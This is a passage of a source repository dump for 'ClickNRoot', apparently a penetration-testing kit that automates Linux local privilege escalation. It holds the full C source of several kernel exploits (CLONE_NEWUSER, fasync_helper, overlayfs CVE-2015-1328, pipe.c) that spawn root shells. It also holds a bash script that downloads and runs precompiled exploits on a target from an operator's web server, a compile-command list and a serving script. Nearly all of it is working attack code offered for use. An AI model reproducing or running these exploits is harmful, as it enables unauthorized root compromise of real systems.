{ 63 | perror(msg); 64 | exit(errno); 65 | } 66 | 67 | 68 | int child(void *arg) 69 | { 70 | char c; 71 | 72 | close(go[1]); 73 | read(go[0], &c, 1); 74 | 75 | setuid(0); 76 | 77 | /* this will also affect the parent, but the parent 78 | * has the init_user_ns, so it will start suid with real uid 0. 79 | */ 80 | if (chdir("chroot") < 0) 81 | die("[-] chdir"); 82 | if (chroot(".") < 0) 83 | die("[-] chroot"); 84 | 85 | return 0; 86 | } 87 | 88 | 89 | 90 | int setup_chroot(const char *me) 91 | { 92 | mkdir("chroot", 0755); 93 | mkdir("chroot/lib64", 0755); 94 | mkdir("chroot/bin", 0755); 95 | 96 | if (link(me, "chroot/lib64/ld-linux-x86-64.so.2") < 0) 97 | die("[-] link"); 98 | if (link("/bin/su", "chroot/bin/su") < 0) 99 | die("[-] link"); 100 | return 0; 101 | } 102 | 103 | 104 | int main(int argc, char *argv[]) 105 | { 106 | char *su[] = {"/bin/su", NULL}; 107 | char *sh[] = {"/bin/bash", NULL}; 108 | char me[256], *mee[] = {me, "1", NULL}; 109 | char uidmap[128], map_file[128]; 110 | pid_t pid; 111 | struct stat st; 112 | int fd; 113 | 114 | 115 | if (geteuid() == 0 && argc == 1) { 116 | /* this will run inside chroot, started as the ld.so 117 | from 118 | * su process 119 | */ 120 | printf("[+] Yay! euid=%d uid=%d\n", geteuid(), 121 | getuid()); 122 | chown("lib64/ld-linux-x86-64.so.2", 0, 0); 123 | chmod("lib64/ld-linux-x86-64.so.2", 04755); 124 | exit(0); 125 | } else if (geteuid() == 0) { 126 | /* this will run outside */ 127 | setuid(0); 128 | execve(*sh, sh, environ); 129 | die("[-] execve"); 130 | } 131 | 132 | printf("[**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer\n\n"); 133 | 134 | memset(me, 0, sizeof(me)); 135 | readlink("/proc/self/exe", me, sizeof(me) - 1); 136 | printf("[+] Found myself: '%s'\n", me); 137 | 138 | if (fork() > 0) { 139 | printf("[*] Parent waiting for boomsh to appear ...\n"); 140 | for (;;) { 141 | stat(me, &st); 142 | if (st.st_uid == 0) 143 | break; 144 | usleep(1000); 145 | } 146 | execve(me, mee, environ); 147 | die("[-] execve"); 148 | } 149 | 150 | printf("[*] Setting up chroot ...\n"); 151 | setup_chroot(me); 152 | printf("[+] Done.\n[*] Cloning evil child ...\n"); 153 | 154 | if (pipe(go) < 0) 155 | die("[-] pipe"); 156 | 157 | pid = clone(child, child_stack + sizeof(child_stack), 158 | CLONE_NEWUSER|CLONE_FS|SIGCHLD, NULL); 159 | if (pid == -1) 160 | die("[-] clone"); 161 | 162 | printf("[+] Done.\n[*] Creating UID mapping ...\n"); 163 | 164 | snprintf(map_file, sizeof(map_file), "/proc/%d/uid_map", pid); 165 | if ((fd = open(map_file, O_RDWR)) < 0) 166 | die("[-] open"); 167 | snprintf(uidmap, sizeof(uidmap), "0 %d 1\n", getuid()); 168 | if (write(fd, uidmap, strlen(uidmap)) < 0) 169 | die("[-] write"); 170 | close(fd); 171 | printf("[+] Done.\n"); 172 | 173 | close(go[0]); 174 | write(go[1], "X", 1); 175 | 176 | waitpid(pid, NULL, 0); 177 | execve(*su, su, NULL); 178 | die("[-] execve"); 179 | return -1; 180 | } 181 | 182 | 183 | -------------------------------------------------------------------------------- /6/exploit_32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evait-security/ClickNRoot/981c16d9e8895a4760cae473db39ff36301cd1c8/6/exploit_32 -------------------------------------------------------------------------------- /6/exploit_64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evait-security/ClickNRoot/981c16d9e8895a4760cae473db39ff36301cd1c8/6/exploit_64 -------------------------------------------------------------------------------- /7/exploit.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Linux Kernel < 2.6.28 - 'fasync_helper()' Privilege Escalation 4 | ------------------------------------------------------------- 5 | 6 | 7 | source: http://www.securityfocus.com/bid/37806/info 8 | 9 | Linux kernel is prone to a local privilege-escalation vulnerability. 10 | 11 | Local attackers can exploit this issue to execute arbitrary code with kernel-level privileges. 12 | 13 | Successful exploits will result in the complete compromise of affected computers. 14 | 15 | The Linux Kernel 2.6.28 and later are vulnerable. 16 | */ 17 | 18 | #ifndef _GNU_SOURCE 19 | # define _GNU_SOURCE 20 | #endif 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | 30 | // Testcase for locked async fd bug -- taviso 16-Dec-2009 31 | int main(int argc, char **argv) 32 | { 33 | int fd; 34 | pid_t child; 35 | unsigned flag = ~0; 36 | 37 | fd = open("/dev/urandom", O_RDONLY); 38 | 39 | // set up exclusive lock, but dont block 40 | flock(fd, LOCK_EX | LOCK_NB); 41 | 42 | // set ASYNC flag on descriptor 43 | ioctl(fd, FIOASYNC, &flag); 44 | 45 | // close the file descriptor to trigger the bug 46 | close(fd); 47 | 48 | // now exec some stuff to populate the AT_RANDOM entries, which will cause 49 | // the released file to be used. 50 | 51 | // This assumes /bin/true is an elf executable, and that this kernel 52 | // supports AT_RANDOM. 53 | do switch (child = fork()) { 54 | case 0: execl("/bin/true", "/bin/true", NULL); 55 | abort(); 56 | case -1: fprintf(stderr, "fork() failed, %m\n"); 57 | break; 58 | default: fprintf(stderr, "."); 59 | break; 60 | } while (waitpid(child, NULL, 0) != -1); 61 | 62 | fprintf(stderr, "waitpid() failed, %m\n"); 63 | return 1; 64 | } 65 | -------------------------------------------------------------------------------- /7/exploit_32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evait-security/ClickNRoot/981c16d9e8895a4760cae473db39ff36301cd1c8/7/exploit_32 -------------------------------------------------------------------------------- /7/exploit_64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evait-security/ClickNRoot/981c16d9e8895a4760cae473db39ff36301cd1c8/7/exploit_64 -------------------------------------------------------------------------------- /8/exploit.c: -------------------------------------------------------------------------------- 1 | /* 2 | # Exploit Title: ofs.c - overlayfs local root in ubuntu 3 | # Date: 2015-06-15 4 | # Exploit Author: rebel 5 | # Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15) 6 | # Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04 7 | # CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html) 8 | 9 | # Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Privilege Escalation 10 | 11 | *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* 12 | CVE-2015-1328 / ofs.c 13 | overlayfs incorrect permission handling + FS_USERNS_MOUNT 14 | 15 | user@ubuntu-server-1504:~$ uname -a 16 | Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux 17 | user@ubuntu-server-1504:~$ gcc ofs.c -o ofs 18 | user@ubuntu-server-1504:~$ id 19 | uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev) 20 | user@ubuntu-server-1504:~$ ./ofs 21 | spawning threads 22 | mount #1 23 | mount #2 24 | child threads done 25 | /etc/ld.so.preload created 26 | creating shared library 27 | # id 28 | uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user) 29 | 30 | greets to beist & kaliman 31 | 2015-05-24 32 | %rebel% 33 | *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* 34 | */ 35 | 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | 56 | #define LIB "#include \n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n" 57 | 58 | static char child_stack[1024*1024]; 59 | 60 | static int 61 | child_exec(void *stuff) 62 | { 63 | char *file; 64 | system("rm -rf /tmp/ns_sploit"); 65 | mkdir("/tmp/ns_sploit", 0777); 66 | mkdir("/tmp/ns_sploit/work", 0777); 67 | mkdir("/tmp/ns_sploit/upper",0777); 68 | mkdir("/tmp/ns_sploit/o",0777); 69 | 70 | fprintf(stderr,"mount #1\n"); 71 | if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) { 72 | // workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower 73 | if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) { 74 | fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n"); 75 | exit(-1); 76 | } 77 | file = ".access"; 78 | chmod("/tmp/ns_sploit/work/work",0777); 79 | } else file = "ns_last_pid"; 80 | 81 | chdir("/tmp/ns_sploit/o"); 82 | rename(file,"ld.so.preload"); 83 | 84 | chdir("/"); 85 | umount("/tmp/ns_sploit/o"); 86 | fprintf(stderr,"mount #2\n"); 87 | if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) { 88 | if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) { 89 | exit(-1); 90 | } 91 | chmod("/tmp/ns_sploit/work/work",0777); 92 | } 93 | 94 | chmod("/tmp/ns_sploit/o/ld.so.preload",0777); 95 | umount("/tmp/ns_sploit/o"); 96 | } 97 | 98 | int 99 | main(int argc, char **argv) 100 | { 101 | int status, fd, lib; 102 | pid_t wrapper, init; 103 | int clone_flags = CLONE_NEWNS | SIGCHLD; 104 | 105 | fprintf(stderr,"spawning threads\n"); 106 | 107 | if((wrapper = fork()) == 0) { 108 | if(unshare(CLONE_NEWUSER) != 0) 109 | fprintf(stderr, "failed to create new user namespace\n"); 110 | 111 | if((init = fork()) == 0) { 112 | pid_t pid = 113 | clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); 114 | if(pid < 0) { 115 | fprintf(stderr, "failed to create new mount namespace\n"); 116 | exit(-1); 117 | } 118 | 119 | waitpid(pid, &status, 0); 120 | 121 | } 122 | 123 | waitpid(init, &status, 0); 124 | return 0; 125 | } 126 | 127 | usleep(300000); 128 | 129 | wait(NULL); 130 | 131 | fprintf(stderr,"child threads done\n"); 132 | 133 | fd = open("/etc/ld.so.preload",O_WRONLY); 134 | 135 | if(fd == -1) { 136 | fprintf(stderr,"exploit failed\n"); 137 | exit(-1); 138 | } 139 | 140 | fprintf(stderr,"/etc/ld.so.preload created\n"); 141 | fprintf(stderr,"creating shared library\n"); 142 | lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777); 143 | write(lib,LIB,strlen(LIB)); 144 | close(lib); 145 | lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w"); 146 | if(lib != 0) { 147 | fprintf(stderr,"couldn't create dynamic library\n"); 148 | exit(-1); 149 | } 150 | write(fd,"/tmp/ofs-lib.so\n",16); 151 | close(fd); 152 | system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c"); 153 | execl("/bin/su","su",NULL); 154 | } 155 | 156 | -------------------------------------------------------------------------------- /8/exploit_32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evait-security/ClickNRoot/981c16d9e8895a4760cae473db39ff36301cd1c8/8/exploit_32 -------------------------------------------------------------------------------- /8/exploit_64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evait-security/ClickNRoot/981c16d9e8895a4760cae473db39ff36301cd1c8/8/exploit_64 -------------------------------------------------------------------------------- /9/exploit.c: -------------------------------------------------------------------------------- 1 | /****************************************************************************** 2 | * .:: Impel Down ::. 3 | * 4 | * Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86) 5 | * by teach & xipe 6 | * Greetz goes to all our mates from #nibbles, #oldschool and #carib0u 7 | * (hehe guyz, we would probably be high profile and mediatised el8 if we 8 | * lost less time on trolling all day long, but we LOVE IT :))) 9 | * Special thanks to Ivanlef0u, j0rn & pouik for being such amazing (but i 10 | * promise ivan, one day i'll kill u :p) 11 | * 12 | * (C) COPYRIGHT teach & xipe, 2009 13 | * All Rights Reserved 14 | * 15 | * teach@vxhell.org 16 | * xipe@vxhell.org 17 | * 18 | *******************************************************************************/ 19 | 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | 32 | #define PIPE_BUFFERS (16) 33 | 34 | struct pipe_buf_operations { 35 | int can_merge; 36 | int *ops[10]; 37 | }; 38 | 39 | struct pipe_buffer { 40 | int *page; 41 | unsigned int offset, len; 42 | const struct pipe_buf_operations *ops; 43 | unsigned int flags; 44 | unsigned long private; 45 | }; 46 | 47 | struct pseudo_pipe_inode_info 48 | { 49 | /* Wait queue head */ 50 | /* spinlock */ 51 | int spinlock; 52 | /* list */ 53 | int *next, *prev; 54 | unsigned int nrbufs, curbuf; 55 | int *page; 56 | unsigned int readers; 57 | unsigned int writers; 58 | unsigned int waiting_writers; 59 | unsigned int r_counter; 60 | unsigned int w_counter; 61 | int *async_readers; 62 | int *async_writers; 63 | int *inode; 64 | struct pipe_buffer bufs[PIPE_BUFFERS]; 65 | }; 66 | 67 | static pid_t uid; 68 | static gid_t gid; 69 | unsigned long taskstruct[1024]; 70 | 71 | static inline void *get_stack_top() 72 | { 73 | void *stack; 74 | 75 | __asm__ __volatile__ ( 76 | "movl $0xffffe000,%%eax ;" 77 | "andl %%esp, %%eax ;" 78 | "movl %%eax, %0 ;" 79 | : "=r" (stack) 80 | ); 81 | return stack; 82 | } 83 | 84 | static inline void *get_current() 85 | { 86 | return *(void **)get_stack_top(); 87 | } 88 | 89 | static void update_cred() 90 | { 91 | uint32_t i; 92 | uint32_t *task = get_current(); /* Pointer to the task_struct */ 93 | uint32_t *cred = 0; 94 | 95 | for (i = 0; i < 1024; i++) 96 | { 97 | taskstruct[i] = task[i]; 98 | cred = (uint32_t *)task[i]; 99 | if (cred == (uint32_t *)task[i+1] && cred > (uint32_t *)0xc0000000) { 100 | cred++; /* Get ride of the cred's 'usage' field */ 101 | if (cred[0] == uid && cred[1] == gid 102 | && cred[2] == uid && cred[3] == gid 103 | && cred[4] == uid && cred[5] == gid 104 | && cred[6] == uid && cred[7] == gid) 105 | { 106 | /* Get root */ 107 | cred[0] = cred[2] = cred[4] = cred[6] = 0; 108 | cred[1] = cred[3] = cred[5] = cred[7] = 0; 109 | break; 110 | } 111 | } 112 | } 113 | } 114 | 115 | int is_done(int new) 116 | { 117 | static int done = 0; 118 | if (done == 1) 119 | return (1); 120 | done = new; 121 | } 122 | 123 | volatile int done = 0; 124 | void kernel_code() 125 | { 126 | is_done(1); 127 | update_cred(); 128 | //exit_kernel(); 129 | } 130 | 131 | int main(int ac, char **av) 132 | { 133 | int fd[2]; 134 | int pid; 135 | int parent_pid = getpid(); 136 | char *buf; 137 | int i,j; 138 | struct pseudo_pipe_inode_info *pinfo = 0; 139 | struct pipe_buf_operations ops; 140 | 141 | buf = mmap(0, 0x1000, PROT_READ | PROT_EXEC | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, 0, 0); 142 | 143 | printf ("buf: %p\n", buf); 144 | 145 | pinfo->readers = 0; 146 | pinfo->writers = 0; 147 | 148 | for (i = 0; i < 10; i++) 149 | ops.ops[i] = (int *)kernel_code; 150 | 151 | for (i = 0; i < PIPE_BUFFERS; i++) 152 | { 153 | pinfo->bufs[i].ops = &ops; 154 | } 155 | 156 | i = 0; 157 | 158 | 159 | uid = getuid(); 160 | gid = getgid(); 161 | setresuid(uid, uid, uid); 162 | setresgid(gid, gid, gid); 163 | //while (1) 164 | { 165 | pid = fork(); 166 | if (pid == -1) 167 | { 168 | perror("fork"); 169 | return (-1); 170 | } 171 | if (pid) 172 | { 173 | char path[1024]; 174 | char c; 175 | /* I assume next opened fd will be 4 */ 176 | sprintf(path, "/proc/%d/fd/4", pid); 177 | printf("Parent: %d\nChild: %d\n", parent_pid, pid); 178 | while (!is_done(0)) 179 | { 180 | fd[0] = open(path, O_RDWR); 181 | if (fd[0] != -1) 182 | { 183 | close(fd[0]); 184 | } 185 | } 186 | //system("/bin/sh"); 187 | execl("/bin/sh", "/bin/sh", "-i", NULL); 188 | return (0); 189 | } 190 | 191 | while (!is_done(0)) 192 | { 193 | if (pipe(fd) != -1) 194 | { 195 | close(fd[0]); 196 | close(fd[1]); 197 | } 198 | } 199 | } 200 | } 201 | 202 | 203 | -------------------------------------------------------------------------------- /9/exploit_32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evait-security/ClickNRoot/981c16d9e8895a4760cae473db39ff36301cd1c8/9/exploit_32 -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # click_n_root - Linux Local Root Exploiter 2 | This is a small script to make the local exploitation process easier. It downloads the precompiled exploit for x86 and x64 architectures and can also automatic compile local on the target system 3 | 4 | ## Exploit-List: 5 | 6 | 1. DirtyCOW AddUser (Ubuntu <4.4/<3.13; Debian <4.7.8) 7 | 2. DirtyCOW Pokeball (Linux Kernel 2.6.22 < 3.9) 8 | 3. Mempodipper (Linux 2.6.39<3.2.2 Gentoo/Debian) 9 | 4. Full Nelson (Linux 2.6.31<2.6.37 RedHat/Debiab) 10 | 5. Half Nelson (Linux Kernel 2.6.0<2.6.36.2) 11 | 6. Clown NewUser (Linux 3.0<3.3.5) 12 | 7. fasync_helper (Linux Kernel <2.6.28) 13 | 8. overlayfs (Linux 3.13.0<3.19) 14 | 9. pipe.c root(kit?) (Kernel 2.6.x (32 Bit only!)) 15 | 10. PERF_EVENTS (Kernel 2.6.32-3.8.10) 16 | 11. CAN BCM Exploit (Kernel <2.6.36) 17 | 12. Cups local Exploit (Cups <1.1.17) 18 | 19 | ## How to use it: 20 | 21 | 1. Download from git 22 | 2. Start easy Webserver with "sudo ./server.py" 23 | 1. Now a Webserver is open on your local ip on port 80, serving all files given in the clickNroot folder. 24 | 3. Upload the click_n_root.sh -Script to the target linux machine 25 | 4. Give executable rights to the click_n_root -Script (chmod 755 KlickAndRoot.sh) 26 | 5. Execute the script with given Server and Folder and choose an option/exploit 27 | 1. E.g.: ./click_n_root 192.168.0.200/click_n_root 28 | 29 | ### Feel free to modify the script to your needs. 30 | 31 | Cheers! 32 | -------------------------------------------------------------------------------- /click_n_root.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | GREEN='\033[1;32m' 4 | WHITE='\033[1;37m' 5 | RED='\033[0;31m' 6 | NC='\033[0m' #No Colour 7 | 8 | vNr="1.1" 9 | COUNTER=0 10 | COUNT=0 11 | command="" 12 | 13 | function version { 14 | echo -e "${GREEN} ########################################" 15 | echo -e "${GREEN} # ${RED}Click and Root ${GREEN}#" 16 | echo -e "${GREEN} # ${NC}Copyright © evait Security ${GREEN}#" 17 | echo -e "${GREEN} # ${NC}Thanks to DarkPringles ${GREEN}#" 18 | echo -e "${GREEN} # #" 19 | echo -e "${GREEN} # ${NC}Version ${vNr} ${GREEN}#" 20 | echo -e "${GREEN} ########################################${NC}\n" 21 | } 22 | 23 | function helper { 24 | echo -e "${NC}Usage:\n\t${GREEN}Start Webserver with click_n_root Folder\n\t${NC}click_n_root.sh " 25 | echo -e "Example:\n${GREEN}\t./click_n_root.sh 192.168.0.1:80/click_n_root\n${NC}" 26 | echo -e "Parameters:\n\t-h \t--help\tShows this help and exits" 27 | echo -e "\t-v \t\tPrints version and exits\n" 28 | } 29 | 30 | function tester { 31 | if [[ -z $1 ]]; then 32 | echo -e "\n${RED}Server not reachable or Folder incomplete!${NC}\n" 33 | exit 34 | fi 35 | } 36 | 37 | if [[ "$1" == "-h" ]] || [[ "$1" == "--help" ]] ; then 38 | helper 39 | exit 40 | fi 41 | 42 | if [[ -z "$1" ]] ; then 43 | version 44 | helper 45 | exit 46 | fi 47 | 48 | if [[ "$1" == "-v" ]]; then 49 | version 50 | exit 51 | fi 52 | 53 | 54 | 55 | version 56 | server_test=$(curl -s $1) 57 | tester $server_test 58 | echo -e "[*] OS and Kernel Information:\n$(uname -mrs)\n" 59 | 60 | list=$(curl -s $1/list.yml) 61 | tester $list 62 | 63 | # line after line reading of: list.yml 64 | printf "\n%-6s %-20s %-35s %-30s\n" "N°" " Name" " Affected Kernel/Systems" " Additional Comments" 65 | IFS=$'\n' 66 | for i in $(echo -e "$list"); 67 | do 68 | 69 | number=$(echo "$i" | cut -d '|' -f 1) 70 | name=$(echo "$i" | cut -d '|' -f 2) 71 | system=$(echo "$i" | cut -d '|' -f 3) 72 | comment=$(echo "$i" | cut -d '|' -f 4) 73 | printf "\n%-6s %-20s %-35s %-30s" "[$number]" $name $system $comment 74 | let COUNTER=COUNTER+1 75 | done 76 | echo -e "\n------------------------------------------------------------------------------------------------" 77 | echo "[88] Unix Privilege Escalation Check Script" 78 | echo "[99] Source download and compile directly" 79 | echo -e "${GREEN}[*] Choose your Exploit(Number): ${NC}" 80 | read nr 81 | echo "" 82 | 83 | # If Unix Privilege Escalation Check Sript is choosen 84 | if [ $nr -eq 88 ] 85 | then 86 | cd /tmp/ 87 | echo -e "${GREEN}[*] Downloading Script ...${NC}" 88 | curl -O $1/unix-privesc-check 89 | echo -e "${GREEN}[*] Set Permissions ...${NC}" 90 | chmod 777 unix-privesc-check 91 | echo -e "${GREEN}[*] Execute Script ... wait for finish ...${NC}" 92 | ./unix-privesc-check standard >> output.txt 93 | echo -e "${GREEN}[*] Execution completed. Output file is: output.txt${NC}" 94 | echo -e "${GREEN}[*] Cleaning directory ...${NC}" 95 | rm -f unix-privesc-check 96 | echo -e "${GREEN}[*] Searching for problems ...${NC}" 97 | echo "" 98 | cat output.txt | grep WARNING: 99 | exit 100 | fi 101 | 102 | 103 | # Direct local compile of Exploits 104 | if [ $nr -eq 99 ] 105 | then 106 | echo -e "${GREEN}[*]Choose Exploit to download and compile: ${NC}" 107 | read src 108 | echo "" 109 | if [ $src -gt $COUNTER ] 110 | then 111 | echo -e "${RED}[!]${NC} No Exploit with N° $src found!\tExiting!" 112 | exit 113 | fi 114 | echo -e "${GREEN}[*] Creating Folder /tmp/down${NC}" 115 | mkdir /tmp/down 116 | echo -e "${GREEN}[*] Downloading Exploit to /tmp/down${NC}" 117 | curl $1/$src/exploit.c > /tmp/down/exploit.c 118 | for i in $(echo -e "$list"); 119 | do 120 | let COUNT=COUNT+1 121 | if [ $COUNT -eq $src ] 122 | then 123 | command=$(echo "$i" | cut -d '|' -f 5) 124 | cd /tmp/down 125 | echo -e "${GREEN}[*] Compile Exploit with $command${NC}" 126 | eval $command 127 | echo -e "${GREEN}[*] Executing exploit${NC}" 128 | chmod +x exploit 129 | 130 | # Exploit needs special arguments 131 | if [ $src -eq 12 ] 132 | then 133 | ./exploit -t 127.0.0.1 134 | 135 | elif [ $src -eq 2 ] 136 | then 137 | ./exploit pokeball milltank 138 | 139 | else 140 | ./exploit 141 | 142 | fi 143 | fi 144 | done 145 | fi 146 | 147 | ## Loading precompiled Exploit (only x64 and x86) 148 | 149 | arch=$(uname -m) 150 | 151 | if [ $nr -gt $COUNTER ] 152 | then 153 | echo -e "${RED}[!]${NC} No Exploit with N° $src found! Exiting!" 154 | exit 155 | fi 156 | echo -e "${GREEN}[*] Creating Folder /tmp/down${NC}" 157 | mkdir /tmp/down 158 | echo -e "${GREEN}[*] Found Architecture $arch ${NC}" 159 | echo -e "${GREEN}[*] Downloading pre-compiled exploit to /tmp/down${NC}" 160 | 161 | # Architecture: 64 Bit 162 | if [ "$arch" = "x86_64" ] 163 | then 164 | cd /tmp/down 165 | curl -O $1/$nr/exploit_64 166 | echo -e "${GREEN}[*] Executing Exploit ...${NC}" 167 | chmod +x exploit_64 168 | 169 | # Exploit needs special arguments 170 | if [ $nr -eq 12 ] 171 | then 172 | ./exploit_64 -t 127.0.0.1 173 | 174 | elif [ $nr -eq 2 ] 175 | then 176 | ./exploit_64 pokeball milltank 177 | 178 | else 179 | ./exploit_64 180 | 181 | fi 182 | 183 | #Architecture: 32 Bit 184 | elif [ "$arch" = "i386" ] 185 | then 186 | cd /tmp/down 187 | curl -O $1/$nr/exploit_32 188 | echo -e "${GREEN}[*] Executing Exploit ...${NC}" 189 | chmod +x exploit_32 190 | 191 | # Exploit needs special arguments 192 | if [ $nr -eq 12 ] 193 | then 194 | ./exploit_32 -t 127.0.0.1 195 | 196 | elif [ $nr -eq 2 ] 197 | then 198 | ./exploit_32 pokeball milltank 199 | 200 | else 201 | ./exploit_32 202 | 203 | fi 204 | else 205 | #No supported Architecture found 206 | echo -e "[${RED}!${NC}] Unsupported Architecture found! Choose direct compile next Time!\Exiting!" 207 | fi 208 | 209 | 210 | #printf "\n%-3s %-20s %-35s %-30s\n" "01" "DirtyCOW AddUser" "Ubuntu <4.4/<3.13; Debian <4.7.8" "default: evait:kill" 211 | 212 | 213 | 214 | 215 | exit 216 | -------------------------------------------------------------------------------- /list.yml: -------------------------------------------------------------------------------- 1 | 1|DirtyCOW AddUser|Ubuntu <4.4/<3.13; Debian <4.7.8|default: evait:kill|gcc -pthread exploit.c -o exploit -lcrypt -w 2 | 2|DirtyCOW Pokeball|Linux Kernel 2.6.22 < 3.9| |gcc -pthread exploit.c -o exploit -w 3 | 3|Mempodipper|Linux 2.6.39<3.2.2 Gentoo/Debian| |gcc exploit.c -o exploit -w 4 | 4|Full Nelson|Linux 2.6.31<2.6.37 RedHat/Debiab| |gcc exploit.c -o exploit -w 5 | 5|Half Nelson|Linux Kernel 2.6.0<2.6.36.2| |gcc exploit.c -o exploit -lrt -w 6 | 6|Clown NewUser|Linux 3.0<3.3.5|cc -Wall newuser.c -static -o exploit| cc -Wall exploit.c -static -o exploit -w 7 | 7|fasync_helper|Linux Kernel <2.6.28|gcc exploit.c -o exploit 8 | 8|overlayfs|Linux 3.13.0<3.19| |gcc exploit.c -o exploit -w 9 | 9|pipe.c root(kit?)|Kernel 2.6.x (32 Bit only!)| |gcc exploit.c -o exploit -w 10 | 10|PERF_EVENTS|Kernel 2.6.32-3.8.10| |gcc exploit.c -o exploit -w 11 | 11|CAN BCM Exploit|Kernel <2.6.36| |gcc exploit.c -o exploit -w 12 | 12|Cups local Exploit|Cups <1.1.17|Usage: exploit -t 127.0.0.1|gcc exploit.c -o exploit -w 13 | 13|PacketSocket|Kernel(<)4.8.0| |gcc exploit.c -o exploit 14 | -------------------------------------------------------------------------------- /server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | import posixpath 4 | import argparse 5 | import urllib 6 | import os 7 | 8 | from SimpleHTTPServer import SimpleHTTPRequestHandler 9 | from BaseHTTPServer import HTTPServer 10 | 11 | 12 | class RootedHTTPServer(HTTPServer): 13 | 14 | def __init__(self, base_path, *args, **kwargs): 15 | HTTPServer.__init__(self, *args, **kwargs) 16 | self.RequestHandlerClass.base_path = base_path 17 | 18 | 19 | class RootedHTTPRequestHandler(SimpleHTTPRequestHandler): 20 | 21 | def translate_path(self, path): 22 | path = posixpath.normpath(urllib.unquote(path)) 23 | words = path.split('/') 24 | words = filter(None, words) 25 | path = self.base_path 26 | for word in words: 27 | drive, word = os.path.splitdrive(word) 28 | head, word = os.path.split(word) 29 | if word in (os.curdir, os.pardir): 30 | continue 31 | path = os.path.join(path, word) 32 | return path 33 | 34 | 35 | def test(HandlerClass=RootedHTTPRequestHandler, ServerClass=RootedHTTPServer): 36 | 37 | parser = argparse.ArgumentParser() 38 | parser.add_argument('--port', '-p', default=80, type=int) 39 | parser.add_argument('--dir', '-d', default=os.path.dirname(os.path.abspath(__file__)), type=str) 40 | args = parser.parse_args() 41 | 42 | server_address = ('', args.port) 43 | 44 | httpd = ServerClass(args.dir, server_address, HandlerClass) 45 | 46 | sa = httpd.socket.getsockname() 47 | print "Serving HTTP on", sa[0], "port", sa[1], "..." 48 | httpd.serve_forever() 49 | 50 | if __name__ == '__main__': 51 | test() 52 | -------------------------------------------------------------------------------- /unix-privesc-check: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # unix-privesc-check - Checks Unix system for simple privilege escalations 3 | # Copyright (C) 2008 pentestmonkey@pentestmonkey.net 4 | # 5 | # 6 | # License 7 | # ------- 8 | # This tool may be used for legal purposes only. Users take full responsibility 9 | # for any actions performed using this tool. The author accepts no liability 10 | # for damage caused by this tool. If you do not accept these condition then 11 | # you are prohibited from using this tool. 12 | # 13 | # In all other respects the GPL version 2 applies: 14 | # 15 | # This program is free software; you can redistribute it and/or modify 16 | # it under the terms of the GNU General Public License version 2 as 17 | # published by the Free Software Foundation. 18 | # 19 | # This program is distributed in the hope that it will be useful, 20 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 21 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 22 | # GNU General 